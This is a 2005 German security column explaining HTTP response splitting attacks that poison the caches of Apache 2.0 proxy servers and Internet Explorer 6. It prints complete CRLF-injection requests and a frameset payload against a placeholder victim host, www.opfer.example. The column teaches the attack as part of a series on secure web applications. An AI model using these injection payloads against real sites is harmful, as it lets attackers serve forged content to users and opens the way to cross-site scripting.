Montag, 16. Januar 2012


Topthema

Donnerstag, 15. September 2005 | Topthema

About Security #23: Caches vergiften

(Link zum Artikel: http://www.entwickler.de/entwicklerde/kolumnen/024130)
  • Teilen
  • kommentieren
  • empfehlen
  • Bookmark and Share

Die praktische Durchf�hrung der in About Security #21 und #22 beschrieben HTTP-Response-Splitting-Angriffe ist das Thema dieser Folge von About Security. Sie erfahren, wie Web- und Browsercaches mit falschen Informationen vergiftet werden k�nnen.

Apache 2.0 mit mod_proxy und mod_cache ist ein leichtes Ziel f�r die Cache-Vergiftung, da Nachrichten an ihren logischen Grenzen erkannt werden und Pipelining unterst�tzt wird. Um den Cache zu vergiften, werden drei HTTP-Requests ben�tigt: Der erste sorgt daf�r, dass die Seite im Cache ung�ltig wird. Der zweite startet das HTTP Response Splitting, und dem dritten wird die eingeschleuste HTTP-Response zugeordnet.

Webcache vergiften: Apache 2.0

Um die gew�nschte Seite aus dem Cache zu entfernen, wird im ersten HTTP-Request ein Pragma: no-cache-Header mitgeschickt:

 GET http://www.opfer.example/index.html HTTP/1.1
Pragma: no-cache
Host: www.opfer.example
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/jpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

N E U ! Security aktuell
T�glich aktuelle Security-Infos!

Die verwundbare Seite soll wie in About Security #21 wieder /redir_lang.jsp sein. In der gef�lschten HTTP-Response muss ein Last-Modified-Header mit einem Datum in der Zukunft enthalten sein, im Beispiel der 31. Dezember 2010. F�r den HTTP-Response-Splitting-Angriff ergibt sich damit (nach Amit Klein, "Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics", (PDF)) folgender HTTP-Request:

 GET http://www.opfer.example/redir_lang.jsp?lang=%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified
:%20Fri,%2031%20Dec%202010%2001:23:45%20GMT%0d%0aContent-Leng
th:%2023%0d%0aContentType:%20text/html%0d%0a%0d%0a<html>Gesch
afft!</html> HTTP/1.1
Host: www.opfer.example
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/jpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

Jetzt fehlt noch die Anforderung der zu vergiftenden Seite:

 GET http://www.opfer.example/index.html HTTP/1.1
Host: www.opfer.example
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/jpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

Apache cached keine Quellen, deren URL mit einem / endet. Daher kann das Beispiel http://www.opfer.example/ nicht vergiftet werden. Das Vergiften von http://www.opfer.example/index.html ist jedoch m�glich.

Was passiert?
About Security: Die komplette Serie

Beim Empfang des ersten HTTP-Requests wird die Seite index.html vom Cacheserver beim Webserver angefordert, aufgrund des Pragma: no-cache-Headers aber nicht gecached. Eine eventuell im Cache vorhandene Version wird verworfen. Der zweite HTTP-Request l�st zwei HTTP-Responses aus (siehe About Security #21). Die zweite, gef�lschte HTTP-Response wird dem dritten HTTP-Request zugeordnet, wodurch der Cache vergiftet wird. Wird danach http://www.opfer.example/index.html aufgerufen, wird das in den Cache eingeschleuste <html>Geschafft!</html> zur�ckgeliefert.

Browsercache vergiften: Internet Explorer 6.0 SP1

Der Internet Explorer verwendet Puffergrenzen zur Erkennung der Nachrichtengrenzen. Der verwendete Puffer fasst 1.024 Bytes. Die zweite HTTP-Response muss daher an einer 1.024-Byte-Grenze beginnen, um korrekt erkannt zu werden. Au�erdem werden bis zu vier TCP-Verbindungen zum Empfang von Daten verwendet. Dadurch ist nicht sichergestellt, dass zwei HTTP-Requests �ber die gleiche TCP-Verbindung gesendet werden. Als weitere Schwierigkeit m�ssen u.a. HTTP-Requests und -Responses in der richtigen Reihenfolge gesendet bzw. empfangen werden und es darf kein TCP FIN vom Server empfangen werden. F�r einen erfolgreichen Angriff m�ssen viele HTTP-Requests in schneller Folge gesendet werden, in der Hoffnung, dass zwei passende HTTP-Requests �ber die gleiche TCP-Verbindung gesendet werden.

Um die erforderlichen HTTP-Requests mehrmals zu senden, kann eine Frame-Seite mit einer Reihe identischer Frames verwendet werden (Bsp. nach obigen Whitepaper):

 <frameset cols="5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,
5%,5%,5%">
<frame src="http://www.opfer.example/redir_lang.jsp?lang=%0d%0aConne
ction:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
... [Auff�llen auf 1024 Bytes]...
AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0
d%0aLastModified:%20Fri,%2031%20Dec%202010%2001:23:45%20GMT%0d%0a
ContentLength:%2045%1d%0a%0d%0a<html>Cache%20erfolgreich%20vergif
tet!</html>
">
<frame src="http://www.opfer.example/index.html"> ... [9 weitere dieser <frame>-Paare] ...

</frameset>

Es werden je zehn HTTP Response Splitting Requests gesendet, jeweils gefolgt von einem HTTP-Request f�r die zu vergiftende Seite. Im Erfolgsfall wird dadurch der Browser-Cache vergiftet. Dabei wird davon ausgegangen, dass bei jedem Besuch einer Seite nach einer neueren Version gesucht wird als der im Cache vorgehaltenen.

Statt einer Seite mit mehreren Frames k�nnen auch XMLHttpRequests f�r den Angriff verwendet werden.

Au�er zum Vergiften von Caches kann HTTP Response Splitting auch f�r Cross-Site-Scripting-Angriffe und das Entf�hren von Webseiten mit sensitiven Informationen verwendet werden. Diese Angriffe werden ab der n�chsten Folge vorgestellt.

Wenn Sie Fragen oder Themenvorschl�ge haben, k�nnen Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security � �bersicht zum aktuellen Thema "Sichere Webanwendungen"

Kommentare

Folgende Links könnten Sie auch interessieren